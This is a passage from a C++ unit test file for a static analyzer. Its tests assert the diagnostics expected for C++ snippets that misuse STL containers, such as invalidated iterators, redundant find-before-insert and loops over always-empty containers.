* g(int);\\n\"\n \"void f() {\\n\"\n \" const std::vector *v = g(1);\\n\"\n \" if (v && v->size() == 1U) {\\n\"\n \" const int &m = v->front();\\n\"\n \" }\\n\"\n \"\\n\"\n \" v = g(2);\\n\"\n \" if (v && v->size() == 1U) {\\n\"\n \" const int &m = v->front();\\n\"\n \" if (m == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector g();\\n\"\n \"void f() {\\n\"\n \" std::vector x = g();\\n\"\n \" const std::string& y = x[1];\\n\"\n \" std::string z;\\n\"\n \" z += \\\"\\\";\\n\"\n \" z += y;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v)\\n\"\n \"{\\n\"\n \" auto *cur = v.data();\\n\"\n \" auto *end = cur + v.size();\\n\"\n \" while (cur < end) {\\n\"\n \" v.erase(v.begin(), FindNext(v));\\n\"\n \" cur = v.data();\\n\"\n \" end = cur + v.size();\\n\"\n \" }\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9598\n check(\"void f(std::vector v) {\\n\"\n \" for (auto it = v.begin(); it != v.end(); it = v.erase(it))\\n\"\n \" *it;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9714\n check(\"void f() {\\n\"\n \" auto v = std::vector();\\n\"\n \" std::string x;\\n\"\n \" v.push_back(x.insert(0, \\\"x\\\"));\\n\"\n \" v.push_back(\\\"y\\\");\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9783\n check(\"std::string GetTaskIDPerUUID(int);\\n\"\n \"void InitializeJumpList(CString s);\\n\"\n \"void foo() {\\n\"\n \" CString sAppID = GetTaskIDPerUUID(123).c_str();\\n\"\n \" InitializeJumpList(sAppID);\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n // #9796\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector v;\\n\"\n \" A *a = new A();\\n\"\n \" v.push_back(a);\\n\"\n \" A *b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" A *a = new A();\\n\"\n \" v.push_back(a);\\n\"\n \" A *b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" std::shared_ptr a = std::make_shared();\\n\"\n \" v.push_back(a);\\n\"\n \" std::shared_ptr b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9780\n check(\"int f() {\\n\"\n \" std::vector vect;\\n\"\n \" MyStruct info{};\\n\"\n \" info.vect = &vect;\\n\"\n \" vect.push_back(1);\\n\"\n \" return info.ret;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9133\n check(\"struct Fred {\\n\"\n \" std::vector v;\\n\"\n \" void foo();\\n\"\n \" void bar();\\n\"\n \"};\\n\"\n \"void Fred::foo() {\\n\"\n \" std::vector::iterator it = v.begin();\\n\"\n \" bar();\\n\"\n \" it++;\\n\"\n \"}\\n\"\n \"void Fred::bar() {\\n\"\n \" v.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:44] -> [test.cpp:8:5] -> [test.cpp:12:7] -> [test.cpp:9:5]: (error) Using iterator to member container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"void foo(std::vector& v) {\\n\"\n \" std::vector::iterator it = v.begin();\\n\"\n \" bar(v);\\n\"\n \" it++;\\n\"\n \"}\\n\"\n \"void bar(std::vector& v) {\\n\"\n \" v.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:1:29] -> [test.cpp:2:44] -> [test.cpp:3:5] -> [test.cpp:7:7] -> [test.cpp:1:28] -> [test.cpp:4:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #10264\n check(\"void f(std::vector& x) {\\n\"\n \" struct I {\\n\"\n \" std::vector *px{};\\n\"\n \" };\\n\"\n \" I i = { &x };\\n\"\n \" x.clear();\\n\"\n \" Parse(i);\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::string x;\\n\"\n \" struct V {\\n\"\n \" std::string* pStr{};\\n\"\n \" };\\n\"\n \" struct I {\\n\"\n \" std::vector v;\\n\"\n \" };\\n\"\n \" I b[] = {{{{ &x }}}};\\n\"\n \" x = \\\"Arial\\\";\\n\"\n \" I cb[1];\\n\"\n \" for (long i = 0; i < 1; ++i)\\n\"\n \" cb[i] = b[i];\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9836\n check(\"void f() {\\n\"\n \" auto v = std::vector >{ std::vector{ \\\"hello\\\" } };\\n\"\n \" auto p = &(v.at(0).at(0));\\n\"\n \" v.clear();\\n\"\n \" std::cout << *p << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:3:24] -> [test.cpp:3:18] -> [test.cpp:3:14] -> [test.cpp:4:7] -> [test.cpp:2:10] -> [test.cpp:5:19]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" const std::vector* i;\\n\"\n \" A(const std::vector& v)\\n\"\n \" : i(&v)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"int f() {\\n\"\n \" std::vector v;\\n\"\n \" A a{v};\\n\"\n \" v.push_back(1);\\n\"\n \" return a.i->front();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" const std::vector* i;\\n\"\n \" A(const std::vector& v)\\n\"\n \" : i(&v)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"void g(const std::vector& v);\\n\"\n \"void f() {\\n\"\n \" std::vector v;\\n\"\n \" A a{v};\\n\"\n \" v.push_back(1);\\n\"\n \" g(a);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10984\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto g = [&v]{};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" auto g = [&]{ std::cout << *it << std::endl;};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:22] -> [test.cpp:3:33] -> [test.cpp:4:7] -> [test.cpp:1:25] -> [test.cpp:5:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" auto g = [=]{ std::cout << *it << std::endl;};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:22] -> [test.cpp:4:7] -> [test.cpp:1:25] -> [test.cpp:5:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" int* p;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" A a{v.data()};\\n\"\n \" v.push_back(1);\\n\"\n \" a.g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:15] -> [test.cpp:8:7] -> [test.cpp:5:25] -> [test.cpp:9:5]: (error) Using object that points to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" int*& p;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void f(std::vector v) {\\n\"\n \" auto* p = v.data();\\n\"\n \" A a{p};\\n\"\n \" v.push_back(1);\\n\"\n \" a.g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:6:21] -> [test.cpp:7:9] -> [test.cpp:8:7] -> [test.cpp:5:25] -> [test.cpp:9:5]: (error) Using object that points to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #11028\n check(\"void f(std::vector c) {\\n\"\n \" std::vector d(c.begin(), c.end());\\n\"\n \" c.erase(c.begin());\\n\"\n \" d.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11147\n check(\"void f(std::string& s) {\\n\"\n \" if (!s.empty()) {\\n\"\n \" std::string::iterator it = s.begin();\\n\"\n \" s = s.substr(it - s.begin());\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:4:13]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use resize() or pop_back() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n // #11630\n check(\"int main(int argc, const char* argv[]) {\\n\"\n \" std::vector args(argv + 1, argv + argc);\\n\"\n \" args.push_back(\\\"-h\\\");\\n\"\n \" args.front();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #13108\n \" auto it = unknown(v);\\n\"\n \" auto w = std::vector{ it, v.end() };\\n\"\n \" v.erase(it, v.end());\\n\"\n \" for (const auto& i : w) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13410\n check(\"int f(std::vector& v) {\\n\"\n \" const int* i = &*v.cbegin();\\n\"\n \" v.push_back(1);\\n\"\n \" return *i;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:1:26] -> [test.cpp:2:30] -> [test.cpp:1:26] -> [test.cpp:2:20] -> [test.cpp:2:20] -> [test.cpp:3:7] -> [test.cpp:1:25] -> [test.cpp:4:13]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #9834\n check(\"struct CJ {\\n\"\n \" std::string m_string1 = \\\"hello\\\";\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" std::vector vec1;\\n\"\n \" vec1.push_back(CJ());\\n\"\n \" auto& a_ref = vec1.at(0).m_string1;\\n\"\n \" vec1.clear();\\n\"\n \" std::cout << a_ref << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:17] -> [test.cpp:7:24] -> [test.cpp:8:10] -> [test.cpp:9:18]: (error) Reference to vec1 that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n }\n\n void invalidContainerLoop() {\n // #9435\n check(\"void f(std::vector v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i < 5)\\n\"\n \" v.push_back(i * 2);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5] -> [test.cpp:4:15]: (error) Calling 'push_back' while iterating the container is invalid. [invalidContainerLoop]\\n\", errout_str());\n\n // #9713\n check(\"void f() {\\n\"\n \" std::vector v{1, 2, 3};\\n\"\n \" for (int i : v) {\\n\"\n \" if (i == 2) {\\n\"\n \" v.clear();\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void add(int i) {\\n\"\n \" v.push_back(i);\\n\"\n \" } \\n\"\n \" void f() {\\n\"\n \" for(auto i:v)\\n\"\n \" add(i);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:4:7] -> [test.cpp:7:5] -> [test.cpp:8:7]: (error) Calling 'add' while iterating the container is invalid. [invalidContainerLoop]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\" // #14013\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" for (int i = 0; i < 5; ++i) {\\n\"\n \" std::unique_ptr& r = v.emplace_back(std::make_unique());\\n\"\n \" r->i = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" for (int i = 0; i < 5; ++i) {\\n\"\n \" std::unique_ptr& r{ v.emplace_back(std::make_unique()) };\\n\"\n \" r->i = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void findInsert() {\n check(\"void f1(std::set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f2(std::map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f3(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f4(std::set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f5(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f6(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f1(std::unordered_set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f2(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f3(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f4(std::unordered_set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f5(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f6(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void g1(std::map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 2;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g1(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 2;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(QSet& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(std::multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f2(std::multimap& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f3(std::multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f4(std::multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f5(std::multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(std::unordered_multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f2(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f3(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f4(std::unordered_multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f5(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9218 - not small type => do not warn if cpp standard is < c++17\n {\n const char code[] = \"void f1(std::set& s, const LargeType& x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\";\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP11));\n ASSERT_EQUALS(\"\", errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP14));\n ASSERT_EQUALS(\"\", errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP17));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n }\n\n { // #10558\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.cppstandard = Standards::CPP11));\n ASSERT_EQUALS(\"[test.cpp:7:17]: (performance) Searching before insertion is not necessary. Instead of 'x[5]=data' consider using 'x.emplace(5, data);'. [stlFindInsert]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:17]: (performance) Searching before insertion is not necessary. Instead of 'x[5]=data' consider using 'x.try_emplace(5, data);'. [stlFindInsert]\\n\", errout_str());\n }\n }\n\n void checkKnownEmptyContainer() {\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" v.clear();\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" if (!v.empty()) { return; }\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" if (v.empty()) { return; }\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::sort(v.begin(), v.end());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (style) Using sort with iterator 'v.begin()' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #1201\n \" std::vector v1{ 0, 1 };\\n\"\n \" std::vector v2;\\n\"\n \" std::copy(v1.begin(), v1.end(), v2.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:45]: (style) Using copy with iterator 'v2.begin()' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.insert(v.end(), 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" explicit A(std::vector*);\\n\"\n \"};\\n\"\n \"A f() {\\n\"\n \" std::vector v;\\n\"\n \" A a(&v);\\n\"\n \" for(auto&& x:v) {}\\n\"\n \" return a;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"static void f1(std::list& parameters) {\\n\"\n \" parameters.push_back(a);\\n\"\n \"}\\n\"\n \"int f2(std::list& parameters) {\\n\"\n \" f1(parameters);\\n\"\n \"}\\n\"\n \"void f3() {\\n\"\n \" std::list parameters;\\n\"\n \" int res = ::f2(parameters);\\n\"\n \" for (auto param : parameters) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace ns {\\n\"\n \" using ArrayType = std::vector;\\n\"\n \"}\\n\"\n \"using namespace ns;\\n\"\n \"static void f() {\\n\"\n \" const ArrayType arr;\\n\"\n \" for (const auto &a : arr) {}\\n\"\n \"}\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:7:26]: (style) Iterating over container 'arr' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void foo(S& s) {\\n\"\n \" s.v.clear();\\n\"\n \" bar(s);\\n\"\n \" std::sort(s.v.begin(), s.v.end());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v, int e) {\\n\"\n \" if (!v.empty()) {\\n\"\n \" if (e < 0 || true) {\\n\"\n \" if (e < 0)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto& rv = v;\\n\"\n \" rv.push_back(42);\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"extern void f(std::string&&);\\n\"\n \"static void func() {\\n\"\n \" std::string s;\\n\"\n \" const std::string& s_ref = s;\\n\"\n \" f(std::move(s));\\n\"\n \"}\\n\",\n 